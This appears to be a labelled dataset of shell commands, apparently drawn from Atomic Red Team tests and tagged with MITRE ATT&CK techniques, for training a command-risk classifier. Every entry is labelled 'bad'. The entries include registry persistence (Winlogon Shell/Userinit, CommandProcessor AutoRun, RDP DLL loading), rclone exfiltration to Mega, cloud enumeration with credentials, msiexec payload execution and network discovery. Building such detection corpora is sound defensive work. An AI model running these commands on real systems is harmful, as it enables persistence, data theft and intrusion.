cowWhySo/permission-command-corpus huggingface dataset:
Command: $path = "HKCU:\Software\Microsoft\Command Processor" if (!(Test-Path -path $path)){ New-Item -ItemType Key -Path $path } New-ItemProperty -Path $path -Name "AutoRun" -Value "#{command}" -PropertyType "String"
Label: bad (risk class: suspicious, obfuscation: plain)
Category: T1546
Platform: windows
ATT&CK tags: T1546
Source rule: HKCU - Persistence using CommandProcessor AutoRun key (Without Elevation)
Notes: An adversary may abuse the CommandProcessor AutoRun registry key to persist. Every time cmd.exe is executed, the command defined in the AutoRun key also gets executed.
[reference](https://devblogs.microsoft.com/oldnewthing/20071121-00/?p=24433)
Command: Remove-ItemProperty -Path "HKCU:\Software\Microsoft\Command Processor" -Name "AutoRun" -ErrorAction Ignore
Label: bad (risk class: suspicious, obfuscation: plain)
Category: T1546
Platform: windows
ATT&CK tags: T1546
Source rule: HKCU - Persistence using CommandProcessor AutoRun key (Without Elevation)
Notes: An adversary may abuse the CommandProcessor AutoRun registry key to persist. Every time cmd.exe is executed, the command defined in the AutoRun key also gets executed.
[reference](https://devblogs.microsoft.com/oldnewthing/20071121-00/?p=24433)
Command: reg add "HKLM\Software\Microsoft\Windows\Windows Error Reporting\Hangs" /v Debugger /t REG_SZ /d "C:\Windows\System32\notepad.exe" /f
Label: bad (risk class: suspicious, obfuscation: plain)
Category: T1546
Platform: windows
ATT&CK tags: T1546
Source rule: Adding custom debugger for Windows Error Reporting
Notes: When applications hang, the Windows Error Reporting framework allows us to attach a debugger, if it is set up in the Registry.
Adding executable of choice will let the executable to auto-execute when during any application crash due to functioning of WER framework
Command: reg delete "HKLM\Software\Microsoft\Windows\Windows Error Reporting\Hangs" /v Debugger /f
Label: bad (risk class: suspicious, obfuscation: plain)
Category: T1546
Platform: windows
ATT&CK tags: T1546
Source rule: Adding custom debugger for Windows Error Reporting
Notes: When applications hang, the Windows Error Reporting framework allows us to attach a debugger, if it is set up in the Registry.
Adding executable of choice will let the executable to auto-execute when during any application crash due to functioning of WER framework
Command: reg add "HKLM\SOFTWARE\Microsoft\Terminal Server Client" /v ClxDllPath /t REG_SZ /d "#{dll_inf}" /f
Label: bad (risk class: suspicious, obfuscation: plain)
Category: T1546
Platform: windows
ATT&CK tags: T1546
Source rule: Load custom DLL on mstsc execution
Notes: Adding ClxDllPath under Terminal Server Client subkey of HKLM hive with a path to custom DLL allows for DLL loading during execution of mstsc.exe
Command: reg delete "HKLM\SOFTWARE\Microsoft\Terminal Server Client" /v ClxDllPath /f
Label: bad (risk class: suspicious, obfuscation: plain)
Category: T1546
Platform: windows
ATT&CK tags: T1546
Source rule: Load custom DLL on mstsc execution
Notes: Adding ClxDllPath under Terminal Server Client subkey of HKLM hive with a path to custom DLL allows for DLL loading during execution of mstsc.exe
Command: reg add "HKLM\SYSTEM\CurrentControlSet\Control\Terminal Server\AddIns\TestDVCPlugin" /v Path /t REG_SZ /d "C:\Windows\System32\amsi.dll" /f
Label: bad (risk class: suspicious, obfuscation: plain)
Category: T1546
Platform: windows
ATT&CK tags: T1546
Source rule: Persistence using automatic execution of custom DLL during RDP session
Notes: When remote desktop session is accepted, the system queries the key it queries the Registry key:HKLM\SYSTEM\CurrentControlSet\Control\Terminal Server\AddIns\TestDVCPlugin. 
If such key exists, the OS will attempt to read the Path value underneath.Once the Path is read, the DLL that it points to will be loaded via LoadLibrary.
Command: reg delete "HKLM\SYSTEM\CurrentControlSet\Control\Terminal Server\AddIns\TestDVCPlugin" /f
Label: bad (risk class: suspicious, obfuscation: plain)
Category: T1546
Platform: windows
ATT&CK tags: T1546
Source rule: Persistence using automatic execution of custom DLL during RDP session
Notes: When remote desktop session is accepted, the system queries the key it queries the Registry key:HKLM\SYSTEM\CurrentControlSet\Control\Terminal Server\AddIns\TestDVCPlugin. 
If such key exists, the OS will attempt to read the Path value underneath.Once the Path is read, the DLL that it points to will be loaded via LoadLibrary.
Command: Copy-Item -Path PathToAtomicsFolder\T1546\src\ErrorHandler.cmd -Destination C:\Windows\Setup\Scripts\ErrorHandler.cmd C:\windows\System32\oobe\Setup
Label: bad (risk class: suspicious, obfuscation: plain)
Category: T1546
Platform: windows
ATT&CK tags: T1546
Source rule: Persistence via ErrorHandler.cmd script execution
Notes: Create persistence by triggering script within ErrorHandler.cmd upon the execution of specific binaries within the oobe directory.
Upon test execution, Setup.exe will be executed to further execute script within ErrorHandlercmd to launch Notepad.
Command: Remove-Item C:\Windows\Setup\Scripts\ErrorHandler.cmd
Label: bad (risk class: suspicious, obfuscation: plain)
Category: T1546
Platform: windows
ATT&CK tags: T1546
Source rule: Persistence via ErrorHandler.cmd script execution
Notes: Create persistence by triggering script within ErrorHandler.cmd upon the execution of specific binaries within the oobe directory.
Upon test execution, Setup.exe will be executed to further execute script within ErrorHandlercmd to launch Notepad.
Command: reg add "HKCU\Software\Microsoft\Office\16.0\Word\Options" /v STARTUP-PATH /t REG_SZ /d "C:\Users\%USERNAME%\AppData\Roaming\Microsoft\Windows\Recent" /f
Label: bad (risk class: suspicious, obfuscation: plain)
Category: T1546
Platform: windows
ATT&CK tags: T1546
Source rule: Persistence using STARTUP-PATH in MS-WORD
Notes: When Word starts, it searches for the registry key HKCU\Software\Microsoft\Office\<version>\Word\Options\STARTUP-PATH and if it exists,
it will treat it as a user specific start-up folder and load the contents of the folder with file extensions of .wll,.lnk,.dotm,.dot,.dotx
The registry key can be abused to load malware from the mentioned path. Reboot might be required.
Command: reg delete HKCU\Software\Microsoft\Office\16.0\Word\Options /v STARTUP-PATH /f
Label: bad (risk class: suspicious, obfuscation: plain)
Category: T1546
Platform: windows
ATT&CK tags: T1546
Source rule: Persistence using STARTUP-PATH in MS-WORD
Notes: When Word starts, it searches for the registry key HKCU\Software\Microsoft\Office\<version>\Word\Options\STARTUP-PATH and if it exists,
it will treat it as a user specific start-up folder and load the contents of the folder with file extensions of .wll,.lnk,.dotm,.dot,.dotx
The registry key can be abused to load malware from the mentioned path. Reboot might be required.
Command: import-module "PathToAtomicsFolder\..\ExternalPayloads\Get-AzDomainInfo.ps1" $Password = ConvertTo-SecureString -String "#{password}" -AsPlainText -Force $Credential = New-Object -TypeName System.Management.Automation.PSCredential -ArgumentList "#{username}", $Password Connect-AzAccount -Credential $Credential | out-null Get-AzDomainInfo -folder #{output_directory} -subscription "#{subscription_name}" -verbose
Label: bad (risk class: suspicious, obfuscation: plain)
Category: T1526
Platform: iaas:azure
ATT&CK tags: T1526
Source rule: Azure - Dump Subscription Data with MicroBurst
Notes: Upon successful execution, this test will enumerate all resources that are contained within a valid Azure subscription. 
The resources enumerated will display on screen, as well as several csv files and folders will be output to a specified directory, listing what resources were discovered by the script. 
See https://dev.to/cheahengsoon/enumerating-subscription-information-with-microburst-35a1
Command: remove-item #{output_directory} -recurse -force -erroraction silentlycontinue
Label: bad (risk class: suspicious, obfuscation: plain)
Category: T1526
Platform: iaas:azure
ATT&CK tags: T1526
Source rule: Azure - Dump Subscription Data with MicroBurst
Notes: Upon successful execution, this test will enumerate all resources that are contained within a valid Azure subscription. 
The resources enumerated will display on screen, as well as several csv files and folders will be output to a specified directory, listing what resources were discovered by the script. 
See https://dev.to/cheahengsoon/enumerating-subscription-information-with-microburst-35a1
Command: Import-Module "PathToAtomicsFolder\T1526\src\AWSDiscovery.ps1" $access_key = "#{access_key}" $secret_key = "#{secret_key}" $session_token = "#{session_token}" $aws_profile = "#{profile}" $regions = "#{regions}" Set-AWSAuthentication -AccessKey $access_key -SecretKey $secret_key -SessionToken $session_token -AWSProfile $aws_profile Get-AWSDiscoveryData -Regions $regions -OutputDirectory "#{output_directory}" Remove-BlankFiles -OutputDirectory "#{output_directory}"
Label: bad (risk class: suspicious, obfuscation: plain)
Category: T1526
Platform: iaas:aws
ATT&CK tags: T1526
Source rule: AWS - Enumerate common cloud services
Notes: Upon successful execution, this test will enumerate common resources that are contained within a valid AWS account.
Command: Import-Module "PathToAtomicsFolder\T1526\src\AzureDiscovery.ps1" $client_id = "#{client_id}" $client_secret = "#{client_secret}" $tenant_id = "#{tenant_id}" $environment = "#{cloud}" Set-AzureAuthentication -ClientID $client_id -ClientSecret $client_secret -TenantID $tenant_id -Environment $environment Get-AzureDiscoveryData -OutputDirectory "#{output_directory}" -Environment $environment Remove-BlankFiles -OutputDirectory "#{output_directory}"
Label: bad (risk class: suspicious, obfuscation: plain)
Category: T1526
Platform: iaas:azure
ATT&CK tags: T1526
Source rule: Azure - Enumerate common cloud services
Notes: Upon successful execution, this test will enumerate common resources that are contained within a valid Azure subscription.
Command: New-Item #{rclone_config_path}\rclone -ItemType directory New-Item #{rclone_config_path}\rclone\rclone.conf cd "#{rclone_path}" .\rclone.exe config create #{remote_share} mega set-Content #{rclone_config_path}\rclone\rclone.conf "[#{remote_share}] `n type = mega `n user = #{mega_user_account} `n pass = #{mega_user_password}" .\rclone.exe copy --max-size 1700k "#{dir_to_copy}" #{remote_share}:test -v
Label: bad (risk class: suspicious, obfuscation: plain)
Category: T1567.002
Platform: windows
ATT&CK tags: T1567.002
Source rule: Exfiltrate data with rclone to cloud Storage - Mega (Windows)
Notes: This test uses rclone to exfiltrate data to a remote cloud storage instance. (Mega)
See https://thedfirreport.com/2022/06/16/sans-ransomware-summit-2022-can-you-detect-this/
Command: cd "#{rclone_path}" .\rclone.exe purge #{remote_share}:test .\rclone.exe config delete #{remote_share}: Remove-Item #{rclone_config_path}\rclone -recurse -force -erroraction silentlycontinue cd c:\ Remove-Item "PathToAtomicsFolder\..\ExternalPayloads\rclone.zip" Remove-Item "PathToAtomicsFolder\..\ExternalPayloads\T1567.002" -recurse -force
Label: bad (risk class: suspicious, obfuscation: plain)
Category: T1567.002
Platform: windows
ATT&CK tags: T1567.002
Source rule: Exfiltrate data with rclone to cloud Storage - Mega (Windows)
Notes: This test uses rclone to exfiltrate data to a remote cloud storage instance. (Mega)
See https://thedfirreport.com/2022/06/16/sans-ransomware-summit-2022-can-you-detect-this/
Command: Write-Host "Destroying AWS infrastructure... " -NoNewLine $awsAccessKey = "#{aws_access_key}" $awsSecretKey = "#{aws_secret_key}" cd PathToAtomicsFolder/T1567.002/src/ if ($awsAccessKey -eq "" -or $awsSecretKey -eq "") { $env:AWS_PROFILE = "#{aws_profile}" } else { $env:AWS_ACCESS_KEY_ID = "$awsAccessKey" $env:AWS_SECRET_ACCESS_KEY = "$awsSecretKey" } $null = PathToAtomicsFolder/../ExternalPayloads/T1567.002/terraform-v*/terraform destroy -var "aws_region=#{aws_region}" -auto-approve Write-Host "Done!"
Label: bad (risk class: suspicious, obfuscation: plain)
Category: T1567.002
Platform: linux,macos
ATT&CK tags: T1567.002
Source rule: Exfiltrate data with rclone to cloud Storage - AWS S3
Notes: This test uses rclone to exfiltrate data to a remote cloud storage instance. (AWS S3)
See https://thedfirreport.com/2022/06/16/sans-ransomware-summit-2022-can-you-detect-this/
Command: ipconfig /all netsh interface show interface arp -a nbtstat -n net config
Label: bad (risk class: suspicious, obfuscation: plain)
Category: T1016
Platform: windows
ATT&CK tags: T1016
Source rule: System Network Configuration Discovery on Windows
Notes: Identify network configuration information

Upon successful execution, cmd.exe will spawn multiple commands to list network configuration settings. Output will be via stdout.
Command: netsh advfirewall firewall show rule name=all
Label: bad (risk class: suspicious, obfuscation: plain)
Category: T1016
Platform: windows
ATT&CK tags: T1016
Source rule: List Windows Firewall Rules
Notes: Enumerates Windows Firewall Rules using netsh.

Upon successful execution, cmd.exe will spawn netsh.exe to list firewall rules. Output will be via stdout.
Command: if [ "$(uname)" = 'FreeBSD' ]; then cmd="netstat -Sp tcp"; else cmd="netstat -ant"; fi; if [ -x "$(command -v arp)" ]; then arp -a; else echo "arp is missing from the machine. skipping..."; fi; if [ -x "$(command -v ifconfig)" ]; then ifconfig; else echo "ifconfig is missing from the machine. skipping..."; fi; if [ -x "$(command -v ip)" ]; then ip addr; else echo "ip is missing from the machine. skipping..."; fi; if [ -x "$(command -v netstat)" ]; then $cmd | awk '{print $NF}' | grep -v '[[:lower:]]' | sort | uniq -c; else echo "netstat is missing from the machine. skipping..."; fi;
Label: bad (risk class: suspicious, obfuscation: plain)
Category: T1016
Platform: macos,linux
ATT&CK tags: T1016
Source rule: System Network Configuration Discovery
Notes: Identify network configuration information.
Upon successful execution, sh will spawn multiple commands and output will be via stdout.
Command: ipconfig /all net config workstation net view /all /domain nltest /domain_trusts
Label: bad (risk class: suspicious, obfuscation: plain)
Category: T1016
Platform: windows
ATT&CK tags: T1016
Source rule: System Network Configuration Discovery (TrickBot Style)
Notes: Identify network configuration information as seen by Trickbot and described here https://www.sneakymonkey.net/2019/10/29/trickbot-analysis-part-ii/

Upon successful execution, cmd.exe will spawn `ipconfig /all`, `net config workstation`, `net view /all /domain`, `nltest /domain_trusts`. Output will be via stdout.
Command: Remove-Item -ErrorAction ignore "#{output_file}"
Label: bad (risk class: suspicious, obfuscation: plain)
Category: T1016
Platform: windows
ATT&CK tags: T1016
Source rule: List Open Egress Ports
Notes: This is to test for what ports are open outbound.  The technique used was taken from the following blog:
https://www.blackhillsinfosec.com/poking-holes-in-the-firewall-egress-testing-with-allports-exposed/

Upon successful execution, powershell will read top-128.txt (ports) and contact each port to confirm if open or not. Output will be to Desktop\open-ports.txt.
Command: "PathToAtomicsFolder\..\ExternalPayloads\AdFind.exe" -f (objectcategory=subnet) #{optional_args}
Label: bad (risk class: suspicious, obfuscation: plain)
Category: T1016
Platform: windows
ATT&CK tags: T1016
Source rule: Adfind - Enumerate Active Directory Subnet Objects
Notes: Adfind tool can be used for reconnaissance in an Active directory environment. This example has been documented by ransomware actors enumerating Active Directory Subnet Objects
reference- http://www.joeware.net/freetools/tools/adfind/, https://www.fireeye.com/blog/threat-research/2019/04/pick-six-intercepting-a-fin6-intrusion.html
Command: sudo defaults read /Library/Preferences/com.apple.alf sudo /usr/libexec/ApplicationFirewall/socketfilterfw --getglobalstate
Label: bad (risk class: suspicious, obfuscation: plain)
Category: T1016
Platform: macos
ATT&CK tags: T1016
Source rule: List macOS Firewall Rules
Notes: "This will test if the macOS firewall is enabled and/or show what rules are configured. Must be run with elevated privileges. Upon successful execution, these commands will output various information about the firewall configuration, including status and specific port/protocol blocks or allows. 

Using `defaults`, additional arguments can be added to see filtered details, such as `globalstate` for global configuration (\"Is it on or off?\"), `firewall` for common application allow rules, and `ex
Command: nslookup -querytype=ALL -timeout=12 _ldap._tcp.dc._msdcs.%USERDNSDOMAIN%
Label: bad (risk class: suspicious, obfuscation: plain)
Category: T1016
Platform: windows
ATT&CK tags: T1016
Source rule: DNS Server Discovery Using nslookup
Notes: Identify System domain dns controller on an endpoint using nslookup ldap query. This tool is being abused by qakbot malware to gather information on the domain
controller of the targeted or compromised host. reference https://securelist.com/qakbot-technical-analysis/103931/
Command: connect-mggraph -Scopes AppRoleAssignment.ReadWrite.All,Application.ReadWrite.All,User.Read -NoWelcome Remove-MgApplication $app.AppId Remove-Item -Path Cert:\CurrentUser\My\$($cert.thumbprint) -DeleteKey Disconnect-MgGraph
Label: bad (risk class: suspicious, obfuscation: plain)
Category: T1114.002
Platform: office-365
ATT&CK tags: T1114.002
Source rule: Office365 - Remote Mail Collected
Notes: Create and register an entra application that downloads emails from a tenant's Office 365 mailboxes using the Microsoft Graph API app-only access. This can be used by an adversary to collect an organization's sensitive information.
Command: #{msi_exe} /q /#{action} "#{msi_payload}"
Label: bad (risk class: suspicious, obfuscation: plain)
Category: T1218.007
Platform: windows
ATT&CK tags: T1218.007
Source rule: Msiexec.exe - Execute Local MSI file with embedded JScript
Notes: Executes an MSI containing embedded JScript code using msiexec.exe
Command: Invoke-CimMethod -ClassName Win32_Product -MethodName #{action} -Arguments @{ PackageLocation = '#{msi_payload}' }
Label: bad (risk class: suspicious, obfuscation: plain)
Category: T1218.007
Platform: windows
ATT&CK tags: T1218.007
Source rule: WMI Win32_Product Class - Execute Local MSI file with embedded JScript
Notes: Executes an MSI containing embedded JScript code using the WMI Win32_Product class
Command: #{msi_exe} /y "#{dll_payload}"
Label: bad (risk class: suspicious, obfuscation: plain)
Category: T1218.007
Platform: windows
ATT&CK tags: T1218.007
Source rule: Msiexec.exe - Execute the DllRegisterServer function of a DLL
Notes: Loads a DLL into msiexec.exe and calls its DllRegisterServer function. Note: the DLL included in the "bin" folder is only built for 64-bit, so this won't work on a 32-bit OS.
Command: #{msi_exe} /z "#{dll_payload}"
Label: bad (risk class: suspicious, obfuscation: plain)
Category: T1218.007
Platform: windows
ATT&CK tags: T1218.007
Source rule: Msiexec.exe - Execute the DllUnregisterServer function of a DLL
Notes: Loads a DLL into msiexec.exe and calls its DllUnregisterServer function. Note: the DLL included in the "bin" folder is only built for 64-bit, so this won't work on a 32-bit OS.
Command: #{msi_exe} /q /i "#{msi_payload}"
Label: bad (risk class: suspicious, obfuscation: plain)
Category: T1218.007
Platform: windows
ATT&CK tags: T1218.007
Source rule: Msiexec.exe - Execute Remote MSI file
Notes: Execute arbitrary MSI file retrieved remotely. Less commonly seen in application installation, commonly seen in malware execution. The MSI executes a built-in JScript payload that launches powershell.exe.
Command: Set-ItemProperty "HKCU:\Software\Microsoft\Windows NT\CurrentVersion\Winlogon\" "Shell" "explorer.exe, #{binary_to_execute}" -Force
Label: bad (risk class: suspicious, obfuscation: plain)
Category: T1547.004
Platform: windows
ATT&CK tags: T1547.004
Source rule: Winlogon Shell Key Persistence - PowerShell
Notes: PowerShell code to set Winlogon shell key to execute a binary at logon along with explorer.exe.

Upon successful execution, PowerShell will modify a registry value to execute cmd.exe upon logon/logoff.
Command: Remove-ItemProperty -Path "HKCU:\Software\Microsoft\Windows NT\CurrentVersion\Winlogon\" -Name "Shell" -Force -ErrorAction Ignore
Label: bad (risk class: suspicious, obfuscation: plain)
Category: T1547.004
Platform: windows
ATT&CK tags: T1547.004
Source rule: Winlogon Shell Key Persistence - PowerShell
Notes: PowerShell code to set Winlogon shell key to execute a binary at logon along with explorer.exe.

Upon successful execution, PowerShell will modify a registry value to execute cmd.exe upon logon/logoff.
Command: Set-ItemProperty "HKCU:\Software\Microsoft\Windows NT\CurrentVersion\Winlogon\" "Userinit" "Userinit.exe, #{binary_to_execute}" -Force
Label: bad (risk class: suspicious, obfuscation: plain)
Category: T1547.004
Platform: windows
ATT&CK tags: T1547.004
Source rule: Winlogon Userinit Key Persistence - PowerShell
Notes: PowerShell code to set Winlogon userinit key to execute a binary at logon along with userinit.exe.

Upon successful execution, PowerShell will modify a registry value to execute cmd.exe upon logon/logoff.
Command: Remove-ItemProperty -Path "HKCU:\Software\Microsoft\Windows NT\CurrentVersion\Winlogon\" -Name "Userinit" -Force -ErrorAction Ignore
Label: bad (risk class: suspicious, obfuscation: plain)
Category: T1547.004
Platform: windows
ATT&CK tags: T1547.004
Source rule: Winlogon Userinit Key Persistence - PowerShell
Notes: PowerShell code to set Winlogon userinit key to execute a binary at logon along with userinit.exe.

Upon successful execution, PowerShell will modify a registry value to execute cmd.exe upon logon/logoff.
Command: Remove-Item "HKCU:\Software\Microsoft\Windows NT\CurrentVersion\Winlogon\Notify" -Force -ErrorAction Ignore
Label: bad (risk class: suspicious, obfuscation: plain)
Category: T1547.004
Platform: windows
ATT&CK tags: T1547.004
Source rule: Winlogon Notify Key Logon Persistence - PowerShell
Notes: PowerShell code to set Winlogon Notify key to execute a notification package DLL at logon.

Upon successful execution, PowerShell will modify a registry value to execute atomicNotificationPackage.dll upon logon.

Please note that Winlogon Notifications have been removed as of Windows Vista / Windows Server 2008 and that this test thus only applies to erlier versions of Windows.
Command: Set-ItemProperty "HKLM:\Software\Microsoft\Windows NT\CurrentVersion\Winlogon\" "Shell" "explorer.exe, #{binary_to_execute}" -Force
Label: bad (risk class: suspicious, obfuscation: plain)
Category: T1547.004
Platform: windows
ATT&CK tags: T1547.004
Source rule: Winlogon HKLM Shell Key Persistence - PowerShell
Notes: PowerShell code to set Winlogon shell key to execute a binary at logon along with explorer.exe.

Upon successful execution, PowerShell will modify a registry value to execute cmd.exe upon logon/logoff.
Command: Remove-ItemProperty -Path "HKLM:\Software\Microsoft\Windows NT\CurrentVersion\Winlogon\" -Name "Shell" -Force -ErrorAction Ignore
Label: bad (risk class: suspicious, obfuscation: plain)
Category: T1547.004
Platform: windows
ATT&CK tags: T1547.004
Source rule: Winlogon HKLM Shell Key Persistence - PowerShell
Notes: PowerShell code to set Winlogon shell key to execute a binary at logon along with explorer.exe.

Upon successful execution, PowerShell will modify a registry value to execute cmd.exe upon logon/logoff.
Command: Set-ItemProperty "HKLM:\Software\Microsoft\Windows NT\CurrentVersion\Winlogon\" "Userinit" "Userinit.exe, #{binary_to_execute}" -Force
Label: bad (risk class: suspicious, obfuscation: plain)
Category: T1547.004
Platform: windows
ATT&CK tags: T1547.004
Source rule: Winlogon HKLM Userinit Key Persistence - PowerShell
Notes: PowerShell code to set Winlogon userinit key to execute a binary at logon along with userinit.exe.

Upon successful execution, PowerShell will modify a registry value to execute cmd.exe upon logon/logoff.